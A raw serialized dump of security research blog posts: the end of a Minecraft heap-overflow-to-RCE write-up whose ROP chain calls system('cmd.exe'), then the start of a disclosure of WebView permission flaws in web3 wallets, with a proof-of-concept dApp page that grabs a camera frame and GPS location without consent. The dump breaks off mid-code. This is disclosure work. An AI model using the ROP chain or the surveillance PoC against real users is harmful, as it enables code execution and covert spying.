`system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157861],{"type":23,"tag":154,"props":157862,"children":157863},{"__ignoreMap":7},[157864,157872,157880,157905,157913,157921,157928,157936,157944,157971,157984,157997,158018,158047,158076,158083,158091,158104,158112,158148,158156,158163,158171,158178,158203,158214,158226],{"type":23,"tag":504,"props":157865,"children":157866},{"class":5016,"line":5017},[157867],{"type":23,"tag":504,"props":157868,"children":157869},{"style":5021},[157870],{"type":29,"value":157871},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":504,"props":157873,"children":157874},{"class":5016,"line":4868},[157875],{"type":23,"tag":504,"props":157876,"children":157877},{"style":5058},[157878],{"type":29,"value":157879},"rop.gadget(pop_r8)\n",{"type":23,"tag":504,"props":157881,"children":157882},{"class":5016,"line":4876},[157883,157888,157892,157897,157901],{"type":23,"tag":504,"props":157884,"children":157885},{"style":5058},[157886],{"type":29,"value":157887},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":504,"props":157889,"children":157890},{"style":5047},[157891],{"type":29,"value":6368},{"type":23,"tag":504,"props":157893,"children":157894},{"style":5030},[157895],{"type":29,"value":157896}," 0x",{"type":23,"tag":504,"props":157898,"children":157899},{"style":5083},[157900],{"type":29,"value":136648},{"type":23,"tag":504,"props":157902,"children":157903},{"style":5058},[157904],{"type":29,"value":5200},{"type":23,"tag":504,"props":157906,"children":157907},{"class":5016,"line":5099},[157908],{"type":23,"tag":504,"props":157909,"children":157910},{"style":5021},[157911],{"type":29,"value":157912},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":504,"props":157914,"children":157915},{"class":5016,"line":5203},[157916],{"type":23,"tag":504,"props":157917,"children":157918},{"style":5058},[157919],{"type":29,"value":157920},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":504,"props":157922,"children":157923},{"class":5016,"line":5308},[157924],{"type":23,"tag":504,"props":157925,"children":157926},{"emptyLinePlaceholder":15},[157927],{"type":29,"value":5734},{"type":23,"tag":504,"props":157929,"children":157930},{"class":5016,"line":5336},[157931],{"type":23,"tag":504,"props":157932,"children":157933},{"style":5021},[157934],{"type":29,"value":157935},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":504,"props":157937,"children":157938},{"class":5016,"line":5349},[157939],{"type":23,"tag":504,"props":157940,"children":157941},{"style":5058},[157942],{"type":29,"value":157943},"rop.gadget(pop_rcx)\n",{"type":23,"tag":504,"props":157945,"children":157946},{"class":5016,"line":5367},[157947,157952,157957,157962,157966],{"type":23,"tag":504,"props":157948,"children":157949},{"style":5058},[157950],{"type":29,"value":157951},"rop.gadget(",{"type":23,"tag":504,"props":157953,"children":157954},{"style":5030},[157955],{"type":29,"value":157956},"0x",{"type":23,"tag":504,"props":157958,"children":157959},{"style":5083},[157960],{"type":29,"value":157961},"7468B68",{"type":23,"tag":504,"props":157963,"children":157964},{"style":5058},[157965],{"type":29,"value":5128},{"type":23,"tag":504,"props":157967,"children":157968},{"style":5021},[157969],{"type":29,"value":157970},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":504,"props":157972,"children":157973},{"class":5016,"line":5388},[157974,157979],{"type":23,"tag":504,"props":157975,"children":157976},{"style":5058},[157977],{"type":29,"value":157978},"rop.gadget(ret) ",{"type":23,"tag":504,"props":157980,"children":157981},{"style":5021},[157982],{"type":29,"value":157983},"# movaps alignment\n",{"type":23,"tag":504,"props":157985,"children":157986},{"class":5016,"line":5397},[157987,157992],{"type":23,"tag":504,"props":157988,"children":157989},{"style":5058},[157990],{"type":29,"value":157991},"rop.gadget(push_rax_ret) ",{"type":23,"tag":504,"props":157993,"children":157994},{"style":5021},[157995],{"type":29,"value":157996},"# calls `GetModuleHandle`\n",{"type":23,"tag":504,"props":157998,"children":157999},{"class":5016,"line":5649},[158000,158005,158009,158014],{"type":23,"tag":504,"props":158001,"children":158002},{"style":5058},[158003],{"type":29,"value":158004},"rop.literal(u64(",{"type":23,"tag":504,"props":158006,"children":158007},{"style":5030},[158008],{"type":29,"value":3003},{"type":23,"tag":504,"props":158010,"children":158011},{"style":6297},[158012],{"type":29,"value":158013},"\"ucrtbase\"",{"type":23,"tag":504,"props":158015,"children":158016},{"style":5058},[158017],{"type":29,"value":21764},{"type":23,"tag":504,"props":158019,"children":158020},{"class":5016,"line":5666},[158021,158025,158029,158034,158039,158043],{"type":23,"tag":504,"props":158022,"children":158023},{"style":5058},[158024],{"type":29,"value":158004},{"type":23,"tag":504,"props":158026,"children":158027},{"style":5030},[158028],{"type":29,"value":3003},{"type":23,"tag":504,"props":158030,"children":158031},{"style":6297},[158032],{"type":29,"value":158033},"\".dll",{"type":23,"tag":504,"props":158035,"children":158036},{"style":50436},[158037],{"type":29,"value":158038},"\\x00\\x00\\x00\\x00",{"type":23,"tag":504,"props":158040,"children":158041},{"style":6297},[158042],{"type":29,"value":22112},{"type":23,"tag":504,"props":158044,"children":158045},{"style":5058},[158046],{"type":29,"value":21764},{"type":23,"tag":504,"props":158048,"children":158049},{"class":5016,"line":5683},[158050,158054,158058,158063,158068,158072],{"type":23,"tag":504,"props":158051,"children":158052},{"style":5058},[158053],{"type":29,"value":158004},{"type":23,"tag":504,"props":158055,"children":158056},{"style":5030},[158057],{"type":29,"value":3003},{"type":23,"tag":504,"props":158059,"children":158060},{"style":6297},[158061],{"type":29,"value":158062},"\"system",{"type":23,"tag":504,"props":158064,"children":158065},{"style":50436},[158066],{"type":29,"value":158067},"\\x00\\x00",{"type":23,"tag":504,"props":158069,"children":158070},{"style":6297},[158071],{"type":29,"value":22112},{"type":23,"tag":504,"props":158073,"children":158074},{"style":5058},[158075],{"type":29,"value":21764},{"type":23,"tag":504,"props":158077,"children":158078},{"class":5016,"line":5696},[158079],{"type":23,"tag":504,"props":158080,"children":158081},{"emptyLinePlaceholder":15},[158082],{"type":29,"value":5734},{"type":23,"tag":504,"props":158084,"children":158085},{"class":5016,"line":5705},[158086],{"type":23,"tag":504,"props":158087,"children":158088},{"style":5021},[158089],{"type":29,"value":158090},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":504,"props":158092,"children":158093},{"class":5016,"line":5728},[158094,158099],{"type":23,"tag":504,"props":158095,"children":158096},{"style":5058},[158097],{"type":29,"value":158098},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":504,"props":158100,"children":158101},{"style":5021},[158102],{"type":29,"value":158103},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":504,"props":158105,"children":158106},{"class":5016,"line":5737},[158107],{"type":23,"tag":504,"props":158108,"children":158109},{"style":5058},[158110],{"type":29,"value":158111},"rop.gadget(pop_rdx)\n",{"type":23,"tag":504,"props":158113,"children":158114},{"class":5016,"line":5746},[158115,158119,158123,158127,158131,158135,158139,158143],{"type":23,"tag":504,"props":158116,"children":158117},{"style":5058},[158118],{"type":29,"value":157951},{"type":23,"tag":504,"props":158120,"children":158121},{"style":5030},[158122],{"type":29,"value":157956},{"type":23,"tag":504,"props":158124,"children":158125},{"style":5083},[158126],{"type":29,"value":157961},{"type":23,"tag":504,"props":158128,"children":158129},{"style":5047},[158130],{"type":29,"value":10950},{"type":23,"tag":504,"props":158132,"children":158133},{"style":5030},[158134],{"type":29,"value":157896},{"type":23,"tag":504,"props":158136,"children":158137},{"style":5083},[158138],{"type":29,"value":91315},{"type":23,"tag":504,"props":158140,"children":158141},{"style":5058},[158142],{"type":29,"value":5128},{"type":23,"tag":504,"props":158144,"children":158145},{"style":5021},[158146],{"type":29,"value":158147},"# offset of \"system\" string\n",{"type":23,"tag":504,"props":158149,"children":158150},{"class":5016,"line":5813},[158151],{"type":23,"tag":504,"props":158152,"children":158153},{"style":5058},[158154],{"type":29,"value":158155},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":504,"props":158157,"children":158158},{"class":5016,"line":5821},[158159],{"type":23,"tag":504,"props":158160,"children":158161},{"emptyLinePlaceholder":15},[158162],{"type":29,"value":5734},{"type":23,"tag":504,"props":158164,"children":158165},{"class":5016,"line":5851},[158166],{"type":23,"tag":504,"props":158167,"children":158168},{"style":5021},[158169],{"type":29,"value":158170},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":504,"props":158172,"children":158173},{"class":5016,"line":5859},[158174],{"type":23,"tag":504,"props":158175,"children":158176},{"style":5058},[158177],{"type":29,"value":157943},{"type":23,"tag":504,"props":158179,"children":158180},{"class":5016,"line":5891},[158181,158185,158189,158194,158198],{"type":23,"tag":504,"props":158182,"children":158183},{"style":5058},[158184],{"type":29,"value":157951},{"type":23,"tag":504,"props":158186,"children":158187},{"style":5030},[158188],{"type":29,"value":157956},{"type":23,"tag":504,"props":158190,"children":158191},{"style":5083},[158192],{"type":29,"value":158193},"7468DB8",{"type":23,"tag":504,"props":158195,"children":158196},{"style":5058},[158197],{"type":29,"value":5128},{"type":23,"tag":504,"props":158199,"children":158200},{"style":5021},[158201],{"type":29,"value":158202},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":504,"props":158204,"children":158205},{"class":5016,"line":5899},[158206,158210],{"type":23,"tag":504,"props":158207,"children":158208},{"style":5058},[158209],{"type":29,"value":157978},{"type":23,"tag":504,"props":158211,"children":158212},{"style":5021},[158213],{"type":29,"value":157983},{"type":23,"tag":504,"props":158215,"children":158216},{"class":5016,"line":5959},[158217,158221],{"type":23,"tag":504,"props":158218,"children":158219},{"style":5058},[158220],{"type":29,"value":157991},{"type":23,"tag":504,"props":158222,"children":158223},{"style":5021},[158224],{"type":29,"value":158225},"# calls `system`\n",{"type":23,"tag":504,"props":158227,"children":158228},{"class":5016,"line":11093},[158229,158233,158237,158242,158247,158251],{"type":23,"tag":504,"props":158230,"children":158231},{"style":5058},[158232],{"type":29,"value":158004},{"type":23,"tag":504,"props":158234,"children":158235},{"style":5030},[158236],{"type":29,"value":3003},{"type":23,"tag":504,"props":158238,"children":158239},{"style":6297},[158240],{"type":29,"value":158241},"\"cmd.exe",{"type":23,"tag":504,"props":158243,"children":158244},{"style":50436},[158245],{"type":29,"value":158246},"\\x00",{"type":23,"tag":504,"props":158248,"children":158249},{"style":6297},[158250],{"type":29,"value":22112},{"type":23,"tag":504,"props":158252,"children":158253},{"style":5058},[158254],{"type":29,"value":21764},{"type":23,"tag":320,"props":158256,"children":158258},{"id":158257},"demo",[158259],{"type":29,"value":158260},"Demo",{"type":23,"tag":32,"props":158262,"children":158263},{},[158264],{"type":29,"value":158265},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":133637,"props":158267,"children":158270},{"className":158268,"controls":15},[143604,158269],"blog-video-wide",[158271,158272,158276],{"type":29,"value":143607},{"type":23,"tag":142843,"props":158273,"children":158275},{"src":158274,"type":133635},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":143613},{"type":23,"tag":24,"props":158278,"children":158279},{"id":4832},[158280],{"type":29,"value":4835},{"type":23,"tag":32,"props":158282,"children":158283},{},[158284],{"type":29,"value":158285},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":32,"props":158287,"children":158288},{},[158289],{"type":29,"value":158290},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":32,"props":158292,"children":158293},{},[158294],{"type":29,"value":158295},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":7410,"props":158297,"children":158298},{},[158299],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":158301},[158302,158306,158311,158322],{"id":148962,"depth":4868,"text":148965,"children":158303},[158304,158305],{"id":148997,"depth":4876,"text":149000},{"id":149013,"depth":4876,"text":149016},{"id":149034,"depth":4868,"text":149037,"children":158307},[158308,158309,158310],{"id":149050,"depth":4876,"text":149053},{"id":149138,"depth":4876,"text":149141},{"id":151438,"depth":4876,"text":151441},{"id":7464,"depth":4868,"text":7467,"children":158312},[158313,158314,158315,158316,158317,158318,158319,158320,158321],{"id":151545,"depth":4876,"text":151548},{"id":151570,"depth":4876,"text":151573},{"id":151707,"depth":4876,"text":151710},{"id":153871,"depth":4876,"text":153874},{"id":154233,"depth":4876,"text":154236},{"id":155053,"depth":4876,"text":155056},{"id":157167,"depth":4876,"text":157170},{"id":157785,"depth":4876,"text":157788},{"id":158257,"depth":4876,"text":158260},{"id":4832,"depth":4868,"text":4835},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":158327,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158328,"description":158329,"date":158330,"author":158331,"image":158333,"isFeatured":15,"onBlogPage":15,"tags":158335,"body":158337,"_type":4892,"_id":160660,"_source":4894,"_file":160661,"_stem":160662,"_extension":4897},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[33256,11,158332],"nikolaos",{"src":158334,"width":99047,"height":14},"/posts/insecure-webview-integrations/title.png",[34196,133743,158336],"webview",{"type":20,"children":158338,"toc":160647},[158339,158344,158349,158355,158360,158365,158370,158376,158381,158387,158409,158422,158442,158456,158462,158476,158484,158489,158495,158500,158509,158530,158674,158679,158685,158690,158695,158709,158713,158718,158736,160164,160168,160173,160185,160194,160199,160205,160227,160235,160240,160246,160251,160269,160274,160280,160293,160575,160603,160616,160621,160634,160638,160643],{"type":23,"tag":32,"props":158340,"children":158341},{},[158342],{"type":29,"value":158343},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":32,"props":158345,"children":158346},{},[158347],{"type":29,"value":158348},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":37429,"props":158350,"children":158352},{"id":158351},"exploiting-mobile-webviews",[158353],{"type":29,"value":158354},"Exploiting Mobile WebViews",{"type":23,"tag":32,"props":158356,"children":158357},{},[158358],{"type":29,"value":158359},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":32,"props":158361,"children":158362},{},[158363],{"type":29,"value":158364},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":32,"props":158366,"children":158367},{},[158368],{"type":29,"value":158369},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":24,"props":158371,"children":158373},{"id":158372},"handling-webview-permissions",[158374],{"type":29,"value":158375},"Handling WebView permissions",{"type":23,"tag":32,"props":158377,"children":158378},{},[158379],{"type":29,"value":158380},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":320,"props":158382,"children":158384},{"id":158383},"android",[158385],{"type":29,"value":158386},"Android",{"type":23,"tag":32,"props":158388,"children":158389},{},[158390,158392,158399,158401,158407],{"type":29,"value":158391},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":68,"props":158393,"children":158396},{"href":158394,"rel":158395},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[72],[158397],{"type":29,"value":158398},"onPermissionRequest",{"type":29,"value":158400},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":154,"props":158402,"children":158404},{"className":158403},[],[158405],{"type":29,"value":158406},"PermissionRequest",{"type":29,"value":158408}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":446,"props":158410,"children":158411},{},[158412],{"type":23,"tag":32,"props":158413,"children":158414},{},[158415,158417,158420],{"type":29,"value":158416},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":504,"props":158418,"children":158419},{},[],{"type":29,"value":158421},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":32,"props":158423,"children":158424},{},[158425,158427,158433,158435,158441],{"type":29,"value":158426},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":154,"props":158428,"children":158430},{"className":158429},[],[158431],{"type":29,"value":158432},"getOrigin()",{"type":29,"value":158434}," and the requested permissions with ",{"type":23,"tag":154,"props":158436,"children":158438},{"className":158437},[],[158439],{"type":29,"value":158440},"getResources()",{"type":29,"value":357},{"type":23,"tag":32,"props":158443,"children":158444},{},[158445,158447,158454],{"type":29,"value":158446},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":68,"props":158448,"children":158451},{"href":158449,"rel":158450},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[72],[158452],{"type":29,"value":158453},"webview_shell",{"type":29,"value":158455},". In this instance, no origin checks are performed.",{"type":23,"tag":320,"props":158457,"children":158459},{"id":158458},"ios",[158460],{"type":29,"value":158461},"iOS",{"type":23,"tag":32,"props":158463,"children":158464},{},[158465,158467,158474],{"type":29,"value":158466},"On the contrary, iOS ",{"type":23,"tag":68,"props":158468,"children":158471},{"href":158469,"rel":158470},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[72],[158472],{"type":29,"value":158473},"documentation",{"type":29,"value":158475}," states that:",{"type":23,"tag":446,"props":158477,"children":158478},{},[158479],{"type":23,"tag":32,"props":158480,"children":158481},{},[158482],{"type":29,"value":158483},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":32,"props":158485,"children":158486},{},[158487],{"type":29,"value":158488},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":24,"props":158490,"children":158492},{"id":158491},"the-shortcomings-of-webview-implementations",[158493],{"type":29,"value":158494},"The shortcomings of WebView implementations",{"type":23,"tag":32,"props":158496,"children":158497},{},[158498],{"type":29,"value":158499},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":33401,"props":158501,"children":158502},{"style":33403},[158503],{"type":23,"tag":199,"props":158504,"children":158508},{"src":158505,"alt":158506,"style":158507},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":158510,"children":158511},{},[158512,158514,158520,158522,158528],{"type":29,"value":158513},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":154,"props":158515,"children":158517},{"className":158516},[],[158518],{"type":29,"value":158519},"react-native-webview",{"type":29,"value":158521},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":68,"props":158523,"children":158526},{"href":158524,"rel":158525},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[72],[158527],{"type":29,"value":158398},{"type":29,"value":158529}," method, we see a similar pattern.",{"type":23,"tag":4743,"props":158531,"children":158535},{"className":158532,"code":158533,"language":158534,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[158536],{"type":23,"tag":154,"props":158537,"children":158538},{"__ignoreMap":7},[158539,158547,158576,158636,158656,158667],{"type":23,"tag":504,"props":158540,"children":158541},{"class":5016,"line":5017},[158542],{"type":23,"tag":504,"props":158543,"children":158544},{"style":5021},[158545],{"type":29,"value":158546},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":504,"props":158548,"children":158549},{"class":5016,"line":4868},[158550,158554,158558,158563,158567,158572],{"type":23,"tag":504,"props":158551,"children":158552},{"style":5067},[158553],{"type":29,"value":17626},{"type":23,"tag":504,"props":158555,"children":158556},{"style":5058},[158557],{"type":29,"value":5110},{"type":23,"tag":504,"props":158559,"children":158560},{"style":5041},[158561],{"type":29,"value":158562},"requestedAndroidPermissions",{"type":23,"tag":504,"props":158564,"children":158565},{"style":5058},[158566],{"type":29,"value":357},{"type":23,"tag":504,"props":158568,"children":158569},{"style":5139},[158570],{"type":29,"value":158571},"isEmpty",{"type":23,"tag":504,"props":158573,"children":158574},{"style":5058},[158575],{"type":29,"value":94083},{"type":23,"tag":504,"props":158577,"children":158578},{"class":5016,"line":4876},[158579,158584,158588,158593,158597,158602,158606,158611,158615,158619,158624,158628,158632],{"type":23,"tag":504,"props":158580,"children":158581},{"style":5041},[158582],{"type":29,"value":158583},"    request",{"type":23,"tag":504,"props":158585,"children":158586},{"style":5058},[158587],{"type":29,"value":357},{"type":23,"tag":504,"props":158589,"children":158590},{"style":5139},[158591],{"type":29,"value":158592},"grant",{"type":23,"tag":504,"props":158594,"children":158595},{"style":5058},[158596],{"type":29,"value":603},{"type":23,"tag":504,"props":158598,"children":158599},{"style":5041},[158600],{"type":29,"value":158601},"grantedPermissions",{"type":23,"tag":504,"props":158603,"children":158604},{"style":5058},[158605],{"type":29,"value":357},{"type":23,"tag":504,"props":158607,"children":158608},{"style":5139},[158609],{"type":29,"value":158610},"toArray",{"type":23,"tag":504,"props":158612,"children":158613},{"style":5058},[158614],{"type":29,"value":603},{"type":23,"tag":504,"props":158616,"children":158617},{"style":5067},[158618],{"type":29,"value":17169},{"type":23,"tag":504,"props":158620,"children":158621},{"style":5467},[158622],{"type":29,"value":158623}," String",{"type":23,"tag":504,"props":158625,"children":158626},{"style":5058},[158627],{"type":29,"value":1380},{"type":23,"tag":504,"props":158629,"children":158630},{"style":5083},[158631],{"type":29,"value":708},{"type":23,"tag":504,"props":158633,"children":158634},{"style":5058},[158635],{"type":29,"value":105291},{"type":23,"tag":504,"props":158637,"children":158638},{"class":5016,"line":5099},[158639,158644,158648,158652],{"type":23,"tag":504,"props":158640,"children":158641},{"style":5058},[158642],{"type":29,"value":158643},"    grantedPermissions ",{"type":23,"tag":504,"props":158645,"children":158646},{"style":5047},[158647],{"type":29,"value":546},{"type":23,"tag":504,"props":158649,"children":158650},{"style":5030},[158651],{"type":29,"value":72333},{"type":23,"tag":504,"props":158653,"children":158654},{"style":5058},[158655],{"type":29,"value":5061},{"type":23,"tag":504,"props":158657,"children":158658},{"class":5016,"line":5203},[158659,158663],{"type":23,"tag":504,"props":158660,"children":158661},{"style":5067},[158662],{"type":29,"value":19037},{"type":23,"tag":504,"props":158664,"children":158665},{"style":5058},[158666],{"type":29,"value":5061},{"type":23,"tag":504,"props":158668,"children":158669},{"class":5016,"line":5308},[158670],{"type":23,"tag":504,"props":158671,"children":158672},{"style":5058},[158673],{"type":29,"value":5965},{"type":23,"tag":32,"props":158675,"children":158676},{},[158677],{"type":29,"value":158678},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":320,"props":158680,"children":158682},{"id":158681},"real-world-exploitation",[158683],{"type":29,"value":158684},"Real world exploitation",{"type":23,"tag":32,"props":158686,"children":158687},{},[158688],{"type":29,"value":158689},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":32,"props":158691,"children":158692},{},[158693],{"type":29,"value":158694},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":32,"props":158696,"children":158697},{},[158698,158700,158707],{"type":29,"value":158699},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":68,"props":158701,"children":158704},{"href":158702,"rel":158703},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[72],[158705],{"type":29,"value":158706},"Justson",{"type":29,"value":158708},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":20944,"props":158710,"children":158711},{"id":41561},[158712],{"type":29,"value":36885},{"type":23,"tag":32,"props":158714,"children":158715},{},[158716],{"type":29,"value":158717},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":139,"props":158719,"children":158720},{},[158721,158726,158731],{"type":23,"tag":143,"props":158722,"children":158723},{},[158724],{"type":29,"value":158725},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":143,"props":158727,"children":158728},{},[158729],{"type":29,"value":158730},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":143,"props":158732,"children":158733},{},[158734],{"type":29,"value":158735},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":4743,"props":158737,"children":158739},{"className":52085,"code":158738,"language":34438,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158740],{"type":23,"tag":154,"props":158741,"children":158742},{"__ignoreMap":7},[158743,158763,158778,158794,158824,158847,158862,158877,158909,158955,158991,159019,159034,159080,159126,159134,159202,159230,159245,159253,159260,159280,159340,159381,159410,159451,159458,159487,159525,159562,159569,159576,159609,159630,159637,159699,159755,159791,159837,159845,159852,159895,159928,160053,160086,160093,160100,160107,160119,160134,160149],{"type":23,"tag":504,"props":158744,"children":158745},{"class":5016,"line":5017},[158746,158750,158754,158759],{"type":23,"tag":504,"props":158747,"children":158748},{"style":34431},[158749],{"type":29,"value":36281},{"type":23,"tag":504,"props":158751,"children":158752},{"style":5030},[158753],{"type":29,"value":36286},{"type":23,"tag":504,"props":158755,"children":158756},{"style":5041},[158757],{"type":29,"value":158758}," html",{"type":23,"tag":504,"props":158760,"children":158761},{"style":34431},[158762],{"type":29,"value":8038},{"type":23,"tag":504,"props":158764,"children":158765},{"class":5016,"line":4868},[158766,158770,158774],{"type":23,"tag":504,"props":158767,"children":158768},{"style":34431},[158769],{"type":29,"value":2658},{"type":23,"tag":504,"props":158771,"children":158772},{"style":5030},[158773],{"type":29,"value":34438},{"type":23,"tag":504,"props":158775,"children":158776},{"style":34431},[158777],{"type":29,"value":8038},{"type":23,"tag":504,"props":158779,"children":158780},{"class":5016,"line":4876},[158781,158785,158790],{"type":23,"tag":504,"props":158782,"children":158783},{"style":34431},[158784],{"type":29,"value":2658},{"type":23,"tag":504,"props":158786,"children":158787},{"style":5030},[158788],{"type":29,"value":158789},"head",{"type":23,"tag":504,"props":158791,"children":158792},{"style":34431},[158793],{"type":29,"value":8038},{"type":23,"tag":504,"props":158795,"children":158796},{"class":5016,"line":5099},[158797,158801,158806,158811,158815,158820],{"type":23,"tag":504,"props":158798,"children":158799},{"style":34431},[158800],{"type":29,"value":34501},{"type":23,"tag":504,"props":158802,"children":158803},{"style":5030},[158804],{"type":29,"value":158805},"meta",{"type":23,"tag":504,"props":158807,"children":158808},{"style":5041},[158809],{"type":29,"value":158810}," 